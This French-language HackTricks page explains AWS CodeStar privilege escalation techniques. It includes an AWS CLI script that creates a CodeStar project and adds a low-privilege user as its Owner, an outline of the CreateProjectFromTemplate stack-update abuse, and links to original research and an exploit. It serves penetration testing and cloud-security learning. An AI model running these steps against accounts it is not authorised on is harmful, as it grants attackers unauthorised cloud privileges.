AWS - Codestar Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Codestar

Vous pouvez trouver plus d'informations sur Codestar dans :

pagecodestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Avec ces autorisations, vous pouvez abuser d'un rôle IAM de codestar pour effectuer des actions arbitraires via un modèle cloudformation. Consultez la page suivante :

pageiam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Cette technique utilise codestar:CreateProject pour créer un projet codestar, et codestar:AssociateTeamMember pour faire d'un utilisateur IAM le propriétaire d'un nouveau projet CodeStar, ce qui leur accordera une nouvelle stratégie avec quelques autorisations supplémentaires.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Si vous êtes déjà un membre du projet, vous pouvez utiliser l'autorisation codestar:UpdateTeamMember pour mettre à jour votre rôle en propriétaire au lieu de codestar:AssociateTeamMember

Impact potentiel: Élévation de privilèges vers la politique codestar générée. Vous pouvez trouver un exemple de cette politique dans:

pagecodestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Créer un nouveau projet:

  • Utilisez l'action codestar:CreateProjectFromTemplate pour initier la création d'un nouveau projet.

  • Après la création réussie, l'accès est automatiquement accordé pour cloudformation:UpdateStack.

  • Cet accès cible spécifiquement une pile associée au rôle IAM CodeStarWorker-<nom de projet générique>-CloudFormation.

  1. Mettre à jour la pile cible:

  • Avec les autorisations CloudFormation accordées, procédez à la mise à jour de la pile spécifiée.

  • Le nom de la pile suivra généralement l'un des deux modèles:

  • awscodestar-<nom de projet générique>-infrastructure

  • awscodestar-<nom de projet générique>-lambda

  • Le nom exact dépend du modèle choisi (en référence au script d'exploitation d'exemple).

  1. Accès et autorisations:

  • Après la mise à jour, vous obtenez les capacités assignées au rôle IAM CloudFormation lié à la pile.

  • Remarque: Cela ne confère pas automatiquement des privilèges d'administrateur complet. Des ressources mal configurées supplémentaires dans l'environnement pourraient être nécessaires pour élever davantage les privilèges.

Pour plus d'informations, consultez la recherche originale: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Vous pouvez trouver l'exploit sur https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Impact potentiel: Élévation de privilèges vers le rôle IAM cloudformation.

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour